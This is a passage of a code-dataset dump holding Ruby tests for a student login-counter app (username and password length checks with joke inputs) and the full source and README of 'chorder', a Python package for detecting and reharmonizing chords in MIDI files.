in\" do\n User.add(\"jon\", \"wayne\")\n old_logins = User.login(\"jon\", \"wayne\")[0]\n assert old_logins < User.login(\"jon\", \"wayne\")[0]\n end\n\n test \"users must have the right password\" do\n assert User.login(\"zachary\", \"wrongone\")[1] == -1\n end\n\n test \"users must have usernames under 128char\" do\n assert User.add(\"Voila! In view humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of fate. This visage, no mere veneer of vanity, is a vestige of the “vox populi” now vacant, vanished. However, this valorous visitation of a bygone vexation stands vivified, and has vowed to vanquish these venal and virulent vermin, van guarding vice and vouchsafing the violently vicious and voracious violation of volition.\n The only verdict is vengeance; a vendetta, held as a votive not in vain, for the value and veracity of such shall one day vindicate the vigilant and the virtuous.\n Verily this vichyssoise of verbiage veers most verbose, so let me simply add that it’s my very good honour to meet you and you may call me V.\", \"freedom\")[1] == -3\n end\n\n test \"users must have passwords under 128char\" do\n assert User.add(\"super_secure_elite_hacker\",\n \"Hahaha! At last, one hundred and twenty eight entire UTF-8 characters of UNCRACKABLE CRYPTOGRAPHIC POWER! No one can possibly oppose my unbelievably irritatingly long password.\")[1] == -4\n end\nend\n" }, { "alpha_fraction": 0.6800000071525574, "alphanum_fraction": 0.7400000095367432, "avg_line_length": 11.5, "blob_id": "67803ceaa1220cb55b22736ee4729194ec944190", "content_id": "2db6da0ec68b011a537b0fff12f01251acb2262f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 50, "license_type": "no_license", "max_line_length": 24, "num_lines": 4, "path": "/README.md", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "cs169 login counter\n---\n\nnow with parallax stars!\n" }, { "alpha_fraction": 0.5954906940460205, "alphanum_fraction": 0.616047739982605, "avg_line_length": 23.721311569213867, "blob_id": "1f90deb8149180ef5c1ce916e318902fa31ba5e0", "content_id": "778e6f4a0f865ccdfb122c70c9c648dc75a57423", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 1508, "license_type": "no_license", "max_line_length": 66, "num_lines": 61, "path": "/spec/models/user_spec.rb", "repo_name": "graysonc/CS169-Warmup", "src_encoding": "UTF-8", "text": "require 'spec_helper'\n\nSUCCESS = 1\nERR_BAD_CREDENTIALS = -1\nERR_USER_EXISTS = -2\nERR_BAD_USERNAME = -3\nERR_BAD_PASSWORD = -4\n\ndescribe User do\n before :each do\n @result = User.add(\"bob\", \"password\")\n @bob = User.find_by_name(\"bob\")\n end\n\n describe \"#add\" do\n it \"takes a username and password and returns a User\" do\n @bob.should be_an_instance_of User\n @result[1].should eql SUCCESS\n end\n\n it \"can't add a user with no name\" do\n badadd = User.add(\"\", \"password\")\n badadd[1].should eql ERR_BAD_USERNAME\n end\n\n it \"can't add a user with name >128char\" do\n badadd = User.add(\"a\"*129, \"a\"*127)\n badadd[1].should eql ERR_BAD_USERNAME\n end\n\n it \"can't have a password >128 char\" do\n badadd = User.add(\"bro\", \"a\"*129)\n badadd[1].should eql ERR_BAD_PASSWORD\n end\n\n it \"can add a user with no password\" do\n goodadd = User.add(\"hello\", \"\")\n goodadd[1].should eql SUCCESS\n end\n end\n\n describe \"#login\" do\n\n it \"can log in a user who exists\" do\n User.login(\"bob\", \"password\")[1].should eql SUCCESS\n end\n\n it \"increments login count on login\" do\n ct = User.login(\"bob\", \"password\")[0]\n User.login(\"bob\", \"password\")[0].should eql (ct + 1)\n end\n\n it \"can't log in a user with the wrong password\" do\n User.login(\"bob\", \"wrong\")[1].should eql ERR_BAD_CREDENTIALS\n end\n\n it \"can't log in a nonexistent user\" do\n User.login(\"rando\", \"\")[1].should eql ERR_BAD_CREDENTIALS\n end\n end\nend\n" } ]
12
chenchy/chorder
https://github.com/chenchy/chorder
b498af2b182bfc00a53798ccde2d830e56d6af4d
045ad1b390accc22058283fa28364e70252d7507
c04247fb471a1fdeec7ee16512e9528948bd4380
refs/heads/master
2023-01-21T23:25:57.149988
2020-12-04T07:11:56
2020-12-04T07:11:56
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 40.25, "blob_id": "49cc36f7fb1966f2505eb6ebcd02ffcaa2af6179", "content_id": "a7bcd01a83afcf4c0064c227e347be3a8160c61d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 165, "license_type": "no_license", "max_line_length": 80, "num_lines": 4, "path": "/chorder/__init__.py", "repo_name": "chenchy/chorder", "src_encoding": "UTF-8", "text": "from .acchorder import Acchorder\nfrom .chord import Chord\nfrom .dechorder import get_key_from_pitch, Dechorder, chord_to_midi, play_chords\nfrom .timepoints import *\n" }, { "alpha_fraction": 0.6762844920158386, "alphanum_fraction": 0.6836243867874146, "avg_line_length": 38.12871170043945, "blob_id": "78c1e32590dd2fdad59e866507ba0ce09428dfaf", "content_id": "e5a042d30fc0cdfd678592878c552c42cf24bee4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3951, "license_type": "no_license", "max_line_length": 220, "num_lines": 101, "path": "/README.md", "repo_name": "chenchy/chorder", "src_encoding": "UTF-8", "text": "# chorder 0.1.2\n\n## Installation\n\n`chorder` is a chord detection and reharmonize tool for `.mid` files. You can download `chorder` using pip:\n\n```shell\npip install chorder\n```\n\nTo check if `chorder` is successfully installed, type `python` in the terminal, and do the following:\n\n```python\n>>> from chorder import Chord\n>>> Chord()\nChord(root_pc=None, quality=None, bass_pc=None)\n```\n## Documentation\n### Chord\n\nThe `Chord` class is the basic building block for the whole chorder package. A `Chord` instance has four attributes, including:\n - `root_pc`\n - the pitch class of a chord's root note\n - is an integer ranging from 0 to 11\n - `quality`, the quality of a chord (the complete list of quality)\n - the quality of a chord\n - is a string\n - the complete list of qualities covered in `chorder` can be found at `Chord.standard_qualities`\n - `bass_pc`\n - the pitch class of a chord's bass note\n - is an integer ranging from 0 to 11\n - `scale`\n - the scale of the chord\n - is a list of strings representing the note names of each pitch class from 0 to 11\n - if a scale is not specified, a default scale is used, which is in `Chord.default_scale`\n\n#### `Chord.__init__(self, args=None, scale=None)`\n##### Parameters\n - `args`: `None` or `str` or `tuple`, optional\n - `None`: implies constructing an empty chord\n - `str`: a chord symbol, such as `'Bbmaj7'`\n - `tuple`: a tuple consisting of `(root_pc, quality, bass_pc)\n - `scale`: `list`, optional\n - specify the scale the chord uses\n - will use `Chord.default_scale` if left as `None`\n\n#### `Chord.root(self)`\nReturns the root note name of a chord based on the chord's scale.\n\n#### `Chord.bass(self)`\nReturns the bass note name of a chord based on the chord's scale.\n\n#### `Chord.bass(self)`\nReturns if any attributes of a chord is `None`. This can help filtering empty chords.\n\n#### `Chord.transpose(self, key)`\nTransposes a chord to C-based relative chord. For example, `Chord('Bb7').transpose(3)` should return `Chord('G7')`.\n##### Parameters\n - `key`: `int`\n - the pitch class of the key\n - ranges from 0 to 11\n\n### DeChorder\n`DeChorder` is a class that consists of static methods related to chord recognition. To utilize this class, the midi information has to be in the form of [miditoolkit](https://github.com/YatingMusic/miditoolkit) objects.\n\n#### `Dechorder.get_bass_pc(notes, start=0, end=1e7)`\nReturns the pitch class of bass note among the notes between the time range of `start` and `end`.\n##### Parameters\n - `notes`: list\n - the group of notes\n - notes are in the form of `miditoolkit.midi.containers.Note`\n - `start`: int\n - the start tick of the notes to be considered\n - set it to `notes[0].start` for now, as this feature will later be updated\n - `end`: int\n - the end tick of the notes to be considered\n - set it to `notes[-1].end` for now, as this feature will later be updated\n\n#### `Dechorder.get_chord_quality(notes, start=0, end=1e7, consider_bass=False)`\nReturns the chord among the notes between the time range of `start` and `end`.\n##### Parameters\n - `notes`: list\n - the group of notes\n - notes are in the form of `miditoolkit.midi.containers.Note`\n - `start`: int\n - the start tick of the notes to be considered\n - set it to `notes[0].start` for now, as this feature will later be updated\n - `end`: int\n - the end tick of the notes to be considered\n - set it to `notes[-1].end` for now, as this feature will later be updated\n - `consider_bass`: `bool\n - decreases the likelihood of chords with non-chord tones as bass to be chosen as the answer\n\n#### `Dechorder.dechord(midi_obj, scale=None)`\nReturns a list of chords by beat.\n##### Parameters\n - `midi_obj`: `miditoolkit.midi.parser.MidiFile`\n - the midi object to extract chord symbols from\n - `scale`: `list`\n - the list of note names for each pitch class\n - must be a list of strings" }, { "alpha_fraction": 0.5599343180656433, "alphanum_fraction": 0.5686918497085571, "avg_line_length": 27.10769271850586, "blob_id": "3762e448f77430eea3d6eace90267b163da1632f", "content_id": "039fc4eddf49927abdd6b4adeeb8c847d73ecfca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1827, "license_type": "no_license", "max_line_length": 84, "num_lines": 65, "path": "/chorder/timepoints.py", "repo_name": "chenchy/chorder", "src_encoding": "UTF-8", "text": "from _collections import OrderedDict\n\n\ndef get_timepoints(midi_obj):\n timepoints = {}\n for instrument in midi_obj.instruments:\n for note in instrument.notes:\n start = note.start\n end = note.end\n new_note = note\n new_note.instrument = instrument\n new_note.dur = end - start\n\n if note.start in timepoints.keys():\n timepoints[start].append(new_note)\n else:\n timepoints[start] = [new_note]\n\n return OrderedDict(sorted(timepoints.items()))\n\n\ndef get_notes_at(timepoints, start=0, end=1e7):\n notes = []\n l_index = 0\n r_index = len(timepoints)\n start_index = -1\n end_index = -1\n\n while l_index < r_index:\n m = int((l_index + r_index) / 2)\n if list(timepoints.keys())[m] < start:\n l_index = m + 1\n else:\n r_index = m\n start_index = max(l_index - 10, 0)\n\n l_index = 0\n r_index = len(timepoints)\n while l_index < r_index:\n m = int((l_index + r_index) / 2)\n if list(timepoints.keys())[m] < end:\n l_index = m + 1\n else:\n r_index = m\n end_index = l_index\n\n partial_timepoints = list(timepoints.items())[start_index:end_index]\n for start_time, timepoint_notes in partial_timepoints:\n for note in timepoint_notes:\n end_time = start_time + note.dur\n if start_time < end and end_time >= start:\n notes.append(note)\n\n return notes\n\n\ndef get_notes_by_beat(midi_obj, beat=1):\n tick_interval = midi_obj.ticks_per_beat * beat\n timepoints = get_timepoints(midi_obj)\n notes = []\n\n for tick_time in range(0, midi_obj.max_tick, tick_interval):\n notes.append(get_notes_at(timepoints, tick_time, tick_time + tick_interval))\n\n return notes\n" }, { "alpha_fraction": 0.5789473652839661, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 19, "blob_id": "4f75a12a1e2c1589a52a29a5913bd3e349ffcde8", "content_id": "1d833bf3ad8d4e45efc39f53d4d3fa10e96e8e84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 19, "license_type": "no_license", "max_line_length": 19, "num_lines": 1, "path": "/requirements.txt", "repo_name": "chenchy/chorder", "src_encoding": "UTF-8", "text": "miditoolkit==0.1.14" }, { "alpha_fraction": 0.485811710357666, "alphanum_fraction": 0.5217773914337158, "avg_line_length": 33.83525085449219, "blob_id": "568a5ca1fc5691a123199709394210c333039d18", "content_id": "87e31027d27e9710c0ac36c027348c4780e7232b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9092, "license_type": "no_license", "max_line_length": 123, "num_lines": 261, "path": "/chorder/dechorder.py", "repo_name": "chenchy/chorder", "src_encoding": "UTF-8", "text": "from .chord import Chord\nfrom .timepoints import get_notes_by_beat\nfrom miditoolkit.midi import containers, parser\n\n\ndef get_pitch_map(midi_obj):\n distribution = [0] * 12\n for instrument in midi_obj.instruments:\n if instrument.is_drum:\n continue\n for note in instrument.notes:\n distribution[note.pitch % 12] += 1\n\n return distribution\n\n\ndef get_key_from_pitch(midi_obj):\n diatonic_pitches = [0, 2, 4, 5, 7, 9, 11]\n pitch_weights = [1, 1, 1, 1, 1, 1, 1]\n distribution = get_pitch_map(midi_obj)\n max_score = -1\n max_i = -1\n\n for i in range(12):\n temp_distribution = distribution[i:] + distribution[:i]\n score = sum([temp_distribution[pitch] * weight for pitch, weight in zip(diatonic_pitches, pitch_weights)])\n\n if score > max_score:\n max_score = score\n max_i = i\n\n return max_i\n\n\nclass Dechorder:\n major_weights = [10, -2, -1, -2, 10, -5, -2, 10, -2, -1, -2, 0]\n minor_weights = [10, -2, -1, 10, -2, -5, -2, 10, -1, -2, 0, -2]\n diminished_weights = [10, -2, -1, 10, -2, -1, 10, -2, -2, 1, -1, -2]\n augmented_weights = [10, -2, -1, -2, 10, -1, -2, -2, 10, -1, -2, 0]\n sus_2_weights = [10, -2, 5, -2, -1, -5, -2, 5, -2, -1, -2, 0]\n sus_4_weights = [10, -2, -1, -2, -5, 5, -2, 5, -2, -1, -2, 0]\n\n major_map = [0, 4, 7]\n minor_map = [0, 3, 7]\n diminished_map = [0, 3, 6]\n augmented_map = [0, 4, 8]\n dominant_map = [0, 4, 7, 10]\n major_seventh_map = [0, 4, 7, 11]\n minor_seventh_map = [0, 3, 7, 10]\n diminished_seventh_map = [0, 3, 6, 9]\n half_diminished_seventh_map = [0, 3, 6, 10]\n sus_2_map = [0, 2, 7]\n sus_4_map = [0, 5, 7]\n\n chord_weights = {\n 'M': major_weights,\n 'm': minor_weights,\n 'o': diminished_weights,\n '+': augmented_weights,\n 'sus2': sus_2_weights,\n 'sus4': sus_4_weights\n }\n\n chord_maps = {\n 'M': major_map,\n 'm': minor_map,\n 'o': diminished_map,\n '+': augmented_map,\n '7': dominant_map,\n 'M7': major_seventh_map,\n 'm7': minor_seventh_map,\n 'o7': diminished_seventh_map,\n '/o7': half_diminished_seventh_map,\n 'sus2': sus_2_map,\n 'sus4': sus_4_map\n }\n\n @staticmethod\n def get_chord_map(notes, start=0, end=1e7):\n chord_map = [0] * 12\n for note in notes:\n chord_map[note.pitch % 12] += min(end, note.end) - max(start, note.start)\n\n return chord_map\n\n @staticmethod\n def get_pitch_distribution(notes, start=0, end=1e7):\n distribution = {}\n for note in notes:\n if note.pitch not in distribution.keys():\n distribution[note.pitch] = 0\n distribution[note.pitch] += min(note.end, end) - max(note.start, start)\n\n return distribution\n\n @staticmethod\n def get_bass_pc(notes, start=0, end=1e7):\n distribution = Dechorder.get_pitch_distribution(notes, start, end)\n distribution = list(sorted(distribution.items()))\n for pitch, span in distribution:\n if span >= (end - start) / 8:\n return pitch % 12\n\n return None\n\n @staticmethod\n def get_chord_quality(notes, start=0, end=1e7, consider_bass=False):\n max_score = 0\n max_root = -1\n max_quality = None\n chord_map = Dechorder.get_chord_map(notes, start, end)\n bass_pc = Dechorder.get_bass_pc(notes, start, end)\n\n for i in range(12):\n temp_map = chord_map[i:] + chord_map[:i]\n if temp_map[0] == 0:\n continue\n\n for quality, weights in Dechorder.chord_weights.items():\n score = sum([map_item * weight for map_item, weight in zip(temp_map, weights)])\n\n if consider_bass and bass_pc is not None:\n if weights[bass_pc] < 0:\n score /= 2\n\n if score > max_score:\n max_score = score\n max_root = i\n max_quality = quality\n\n if max_score < (end - start) * 10:\n return Chord(), -1\n\n if bass_pc is not None:\n if max_quality == 'o':\n if (max_root - bass_pc + 12) % 12 == 4:\n max_root = bass_pc\n max_quality = '7'\n elif (max_root - bass_pc + 12) % 12 == 3:\n max_root = bass_pc\n max_quality = 'o7'\n elif max_quality == 'M' and (max_root - bass_pc + 12) % 12 == 3:\n max_root = bass_pc\n max_quality = 'm7'\n elif max_quality == 'm':\n if (max_root - bass_pc + 12) % 12 == 4:\n max_root = bass_pc\n max_quality = 'M7'\n elif (max_root - bass_pc + 12) % 12 == 3:\n max_root = bass_pc\n max_quality = '/o7'\n elif max_quality == 'sus2' and (max_root - bass_pc + 12) % 12 == 5:\n max_root = bass_pc\n max_quality = 'sus4'\n elif max_quality == 'sus4' and (max_root - bass_pc + 12) % 12 == 7:\n max_root = bass_pc\n max_quality = 'sus2'\n\n # print(max_score)\n\n if max_quality == 'M':\n if chord_map[(max_root + 11) % 12] > 0 and chord_map[(max_root + 11) % 12] > chord_map[(max_root + 10) % 12]:\n max_quality = 'M7'\n elif chord_map[(max_root + 10) % 12] > 0 and chord_map[(max_root + 10) % 12] > chord_map[(max_root + 11) % 12]:\n max_quality = '7'\n if max_quality == 'm' and chord_map[(max_root + 10) % 12] > 0:\n max_quality = 'm7'\n\n return Chord(args=(max_root, max_quality, bass_pc)), max_score\n\n @staticmethod\n def get_chords(midi_obj, beat=2):\n interval = midi_obj.ticks_per_beat * beat\n return [Dechorder.get_chord_quality(notes, i * interval, (i + 1) * interval) for i, notes in\n enumerate(get_notes_by_beat(midi_obj, beat))]\n\n @staticmethod\n def dechord(midi_obj, scale=None):\n if scale is None:\n scale = Chord.default_scale\n\n chords_1 = Dechorder.get_chords(midi_obj, beat=1)\n chords_2 = Dechorder.get_chords(midi_obj, beat=2)\n for i in range(len(chords_2)):\n chord = chords_2[i]\n chords_2[i] = chord[0], chord[1] / 2\n\n chords = []\n\n for i in range(len(chords_2)):\n prev_index = i * 2\n next_index = i * 2 + 1\n two_chord = chords_2[i]\n two_score = two_chord[1]\n prev_chord = chords_1[prev_index]\n prev_score = prev_chord[1]\n\n if next_index < len(chords_1):\n next_chord = chords_1[next_index]\n next_score = next_chord[1]\n\n # print(f'{prev_score} {next_score} {two_score}')\n\n if prev_score >= two_score and next_score >= two_score:\n chords += [prev_chord[0], next_chord[0]]\n else:\n chords += [two_chord[0]] * 2\n else:\n if prev_score > two_score:\n chords.append(prev_chord[0])\n else:\n chords.append(two_chord[0])\n\n return chords\n\n @staticmethod\n def enchord(midi_obj):\n interval = midi_obj.ticks_per_beat\n midi_obj.markers = []\n chords = Dechorder.dechord(midi_obj)\n first_chord = chords[0]\n\n if first_chord.is_complete():\n chord_marker = containers.Marker(text=str(first_chord), time=0)\n midi_obj.markers.append(chord_marker)\n for i, (prev_chord, next_chord) in enumerate(zip(chords[:-1], chords[1:])):\n if prev_chord != next_chord:\n if next_chord.is_complete():\n chord_marker = containers.Marker(text=str(next_chord), time=(i + 1) * interval)\n midi_obj.markers.append(chord_marker)\n\n return midi_obj\n\n\ndef chord_to_midi(chord):\n if not chord.is_complete():\n return None\n\n root_c = 60\n bass_c = 36\n root_pc = chord.root_pc\n chord_map = Dechorder.chord_maps[chord.quality]\n bass_pc = chord.bass_pc\n\n return [bass_c + bass_pc] + [root_c + root_pc + i for i in chord_map]\n\n\ndef play_chords(midi_obj):\n default_velocity = 63\n midi_maps = [chord_to_midi(Chord(marker.text)) for marker in midi_obj.markers]\n new_midi_obj = parser.MidiFile()\n new_midi_obj.time_signature_changes.append(containers.TimeSignature(numerator=4, denominator=4, time=0))\n new_midi_obj.instruments.append(containers.Instrument(program=0, is_drum=False, name='Piano'))\n\n for midi_map, prev_marker, next_marker in zip(midi_maps, midi_obj.markers[:-1], midi_obj.markers[1:]):\n for midi_pitch in midi_map:\n midi_note = containers.Note(start=prev_marker.time, end=next_marker.time, pitch=midi_pitch,\n velocity=default_velocity)\n new_midi_obj.instruments[0].notes.append(midi_note)\n\n return new_midi_obj\n" }, { "alpha_fraction": 0.5304293632507324, "alphanum_fraction": 0.543351411819458, "avg_line_length": 36.484375, "blob_id": "b62c7cd9dbf20edd09d99d8dd58f1339f5fd20e8", "content_id": "6c5aaa476a9829c079aa5551c9b616256371665a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4798, "license_type": "no_license", "max_line_length": 116, "num_lines": 128, "path": "/chorder/chord.py", "repo_name": "chenchy/chorder", "src_encoding": "UTF-8", "text": "class Chord:\n default_scale = ['C', 'C#', 'D', 'Eb', 'E', 'F', 'F#', 'G', 'G#', 'A', 'Bb', 'B']\n note_conversion_table = {\n 'B#': 'C',\n 'Db': 'C#',\n 'D#': 'Eb',\n 'Fb': 'E',\n 'E#': 'F',\n 'Gb': 'F#',\n 'Ab': 'G#',\n 'A#': 'Bb',\n 'Cb': 'B'\n }\n note_to_pc = {note: pc for note, pc in zip(default_scale, [i for i in range(12)])}\n\n standard_qualities = ['M', 'm', 'o', '+', '7', 'M7', 'm7', 'o7', '/o7', 'sus2', 'sus4']\n quality_conversion_table = {\n 'maj': 'M',\n 'min': 'm',\n 'dim': 'o',\n 'aug': '+',\n 'dom': '7',\n 'Mm7': '7',\n 'maj7': 'M7',\n 'MM7': 'M7',\n 'min7': 'm7',\n 'mm7': 'm7',\n 'dim7': 'o7',\n 'd7': 'o7',\n 'hd7': '/o7',\n 'o/7': '/o7'\n }\n qualities = standard_qualities + list(quality_conversion_table.keys())\n\n def __init__(self, args=None, scale=None):\n if args is None:\n self.root_pc = None\n self.quality = None\n self.bass_pc = None\n elif type(args) == str:\n self.root_pc, self.quality, self.bass_pc = Chord.parse_chord_symbol(args)\n elif type(args) == tuple and len(args) == 3:\n self.root_pc, self.quality, self.bass_pc = args\n\n if scale is None:\n self.scale = Chord.default_scale\n elif type(scale) == list:\n self.scale = scale\n\n def __repr__(self):\n quality_string = '\\'' + self.quality + '\\'' if self.quality is not None else None\n return f'Chord(root_pc={self.root_pc}, quality={quality_string}, bass_pc={self.bass_pc})'\n\n def __str__(self):\n if self.root_pc is None or self.quality is None or self.bass_pc is None:\n return 'None'\n return f'{self.root()}{self.quality}{f\"/{self.bass()}\" if self.root_pc != self.bass_pc else \"\"}'\n\n def __eq__(self, other):\n if type(other) != Chord:\n return False\n else:\n return self.root_pc == other.root_pc and self.quality == other.quality and self.bass_pc == other.bass_pc\n\n def __ne__(self, other):\n return not self == other\n\n def root(self):\n return self.scale[self.root_pc] if self.root_pc is not None else None\n\n def bass(self):\n return self.scale[self.bass_pc] if self.bass_pc is not None else None\n\n def is_complete(self):\n return self.root_pc is not None and self.quality is not None and self.bass_pc is not None\n\n def transpose(self, key):\n if not self.is_complete():\n return Chord(str(self))\n else:\n new_root = (self.root_pc - key + 12) % 12\n new_bass = (self.bass_pc - key + 12) % 12\n\n return Chord((new_root, self.quality, new_bass), scale=self.scale)\n\n @staticmethod\n def parse_chord_symbol(chord_string):\n if chord_string is None or chord_string == 'None':\n return None, None, None\n\n current_index = 0\n root_note = None\n if chord_string[:2] in Chord.default_scale:\n root_note = chord_string[:2]\n current_index += 2\n elif chord_string[:2] in Chord.note_conversion_table.keys():\n root_note = Chord.note_conversion_table[chord_string[:2]]\n current_index += 2\n elif chord_string[:1] in Chord.default_scale:\n root_note = chord_string[:1]\n current_index += 1\n elif chord_string[:1] in Chord.note_conversion_table.keys():\n root_note = Chord.note_conversion_table[chord_string[:1]]\n current_index += 1\n root_pc = Chord.note_to_pc[root_note] if root_note in Chord.note_to_pc.keys() else None\n\n quality = None\n if chord_string[current_index:current_index + 4] in Chord.qualities:\n quality = chord_string[current_index:current_index + 4]\n current_index += 4\n elif chord_string[current_index:current_index + 3] in Chord.qualities:\n quality = chord_string[current_index:current_index + 3]\n current_index += 3\n elif chord_string[current_index:current_index + 2] in Chord.qualities:\n quality = chord_string[current_index:current_index + 2]\n current_index += 2\n else:\n quality = chord_string[current_index:current_index + 1]\n current_index += 1\n if quality is not None and quality not in Chord.standard_qualities:\n quality = Chord.quality_conversion_table[quality]\n\n bass_note = chord_string[current_index + 1:]\n if bass_note not in Chord.default_scale and bass_note != '':\n bass_note = Chord.note_conversion_table[bass_note]\n bass_pc = root_pc if bass_note == '' else Chord.note_to_pc[bass_note]\n\n return root_pc, quality, bass_pc\n" }, { "alpha_fraction": 0.5007960200309753, "alphanum_fraction": 0.5214919447898865, "avg_line_length": 33.89682388305664, "blob_id": "fd02227aadcb9f96892495ffeb0bc4a6b632308a", "content_id": "62f37ee46dea2b8d148d362b15d6a586971576eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4397, "license_type": "no_license", "max_line_length": 99, "num_lines": 126, "path": "/chorder/acchorder.py", "repo_name": "chenchy/chorder", "src_encoding": "UTF-8", "text": "from .dechorder import Dechorder, get_key_from_pitch\nfrom .timepoints import get_notes_by_beat\nfrom miditoolkit.midi import containers\n\n\nclass Acchorder:\n pc_maps = [\n [0, 2, 4, 7, 9, 11],\n [],\n [0, 2, 4, 5, 9],\n [],\n [0, 2, 4, 7, 11],\n [0, 2, 4, 5, 7, 9],\n [],\n [2, 5, 7, 9, 11],\n [],\n [0, 2, 4, 7, 9, 11],\n [],\n [2, 5, 7, 9, 11]\n ]\n\n @staticmethod\n def get_score_map(note, key, candidate_lists, time_weights, distance_penalty=1):\n pitch = note.pitch - key\n time = note.end - note.start\n\n score_map = {}\n for candidates, weight in zip(candidate_lists, time_weights):\n for candidate in candidates:\n if candidate not in score_map.keys():\n score_map[candidate] = weight\n else:\n score_map[candidate] += weight\n\n for key in score_map.keys():\n score_map[key] -= abs(pitch - key) * time * distance_penalty\n\n return score_map\n\n @staticmethod\n def get_bass_pitch(notes, start=0, end=1e7):\n distribution = Dechorder.get_pitch_distribution(notes, start, end)\n distribution = list(sorted(distribution.items()))\n for pitch, span in distribution:\n if span >= (end - start) / 8:\n return pitch\n\n return None\n\n @staticmethod\n def get_bass_list(midi_obj):\n interval = midi_obj.ticks_per_beat\n bass_list = []\n notes_by_beat = get_notes_by_beat(midi_obj)\n\n for i, notes in enumerate(notes_by_beat):\n bass_list.append(Acchorder.get_bass_pitch(notes, i * interval, (i + 1) * interval))\n\n return bass_list\n\n @staticmethod\n def acchord(midi_obj, progression, bpm=120):\n interval = midi_obj.ticks_per_beat\n new_notes = []\n key = get_key_from_pitch(midi_obj)\n bass_list = Acchorder.get_bass_list(midi_obj)\n\n for note in midi_obj.instruments[0].notes:\n pitch = note.pitch - key\n start_beat = note.start // interval\n end_beat = (note.end - 1) // interval\n candidate_lists = []\n bass_candidates = bass_list[start_beat:end_beat + 1]\n\n if note.pitch in bass_candidates:\n bass_index = bass_candidates.index(note.pitch)\n if progression[start_beat + bass_index].bass_pc is None:\n continue\n elif progression[start_beat + bass_index].bass_pc in [1, 3, 6, 10]:\n continue\n\n new_pitch = progression[start_beat + bass_index].bass_pc + (pitch // 12) * 12 + key\n new_note = note\n new_note.pitch = new_pitch\n new_notes.append(new_note)\n\n continue\n\n time_weights = [interval for i in range(end_beat - start_beat + 1)]\n if start_beat == end_beat:\n time_weights[0] = note.end - note.start\n else:\n time_weights[0] = (start_beat + 1) * interval - note.start\n time_weights[-1] = note.end - end_beat * interval\n\n for beat in range(start_beat, end_beat + 1):\n chord = progression[beat]\n if not chord.is_complete():\n candidate_lists.append([])\n continue\n root, quality, bass = chord.root_pc, chord.quality, chord.bass_pc\n candidates = ([i % 12 + (pitch // 12) * 12 for i in Acchorder.pc_maps[root]] +\n [i % 12 + (pitch // 12 - 1) * 12 for i in Acchorder.pc_maps[root]])\n candidate_lists.append(candidates)\n\n score_map = Acchorder.get_score_map(note, key, candidate_lists, time_weights)\n best_pitch = pitch\n best_score = -10e8\n\n for midi_num, score in score_map.items():\n if score > best_score:\n best_pitch = midi_num\n best_score = score\n if best_score == -10e8:\n continue\n\n pitch = best_pitch + key\n new_note = note\n new_note.pitch = pitch\n new_notes.append(new_note)\n\n new_obj = midi_obj\n new_obj.instruments[0].notes = new_notes\n new_obj.tempo_changes = [containers.TempoChange(tempo=bpm, time=0)]\n\n return new_obj\n" } ]
7
SpencerHoGD/english-words
https://github.com/SpencerHoGD/english-words
bd7b5a960f4cb081942d3bdd5baab94d315c161d
35207a5777196995e1be2100faf3bdc44c7acfa7
dee75396dee6ce444394c41ba9948be91be304f6
refs/heads/master
2020-07-22T20:46:01.388475
2019-10-01T08:24:43
2019-10-01T08:24:43
207,322,464
0
0
Unlicense
2019-09-09T13:59:10
2019-09-09T13:59:09
2019-06-05T05:32:47
null
[ { "alpha_fraction": 0.5388127565383911, "alphanum_fraction": 0.5753424763679504, "avg_line_length": 18.04347801208496, "blob_id": "9365a74a2fc7457f1c504f2d278b745ad0e82e7d", "content_id": "2b0eacf472d4303dec955ee047797aafff141ac5", "detected_licenses": [ "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference", "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 438, "license_type": "permissive", "max_line_length": 48, "num_lines": 23, "path": "/sum_of_word_100.py", "repo_name": "SpencerHoGD/english-words", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\n#encoding:utf-8\n'''\nCreated on 2019-09-09\nhexiaoming\n'''\n\nimport os\n\n\ndef sum_of_word(word):\n sum = 0\n for char in word:\n sum += ord(char) - 96\n return sum\n\n#print(sum_of_word('attitude'))\n\nwith open('result.md', 'w') as result:\n with open('words_alpha.txt', 'r') as file:\n for word in file.readlines():\n if sum_of_word(word.strip()) == 100:\n result.write(word)\n" }, { "alpha_fraction": 0.5851648449897766, "alphanum_fraction": 0.6126373410224915, "avg_line_length": 16.33333396911621, "blob_id": "003e7471f785267b7387fc59110684755ab5dafa", "content_id": "c7fcdfa1879603e902aef099669af547f9e2ade7", "detected_licenses": [ "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference", "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 364, "license_type": "permissive", "max_line_length": 51, "num_lines": 21, "path": "/read_english_dictionary.py", "repo_name": "SpencerHoGD/english-words", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\n#encoding:utf-8\n'''\nCreated on 2019-09-09\nhexiaoming\n'''\n\nimport os\n\ndef load_words():\n with open('words_alpha.txt') as word_file:\n valid_words = set(word_file.read().split())\n\n return valid_words\n\n\nif __name__ == '__main__':\n english_words = load_words()\n # demo print\n print('fate' in english_words)\n with open('\n" } ]
2
dashvinsingh/Python-Email-App
https://github.com/dashvinsingh/Python-Email-App
25f26049f9831c199d293bd188f6ecef8561e39e
16407e005f4b18dcce2becba16d08169d7f2c90d
4e5ab7eda6634c26f166809a564ee66ba3156e70
refs/heads/master
2021-01-20T02:04:32.613530
2017-04-25T19:21:57
2017-04-25T19:21:57
89,367,892
1
1
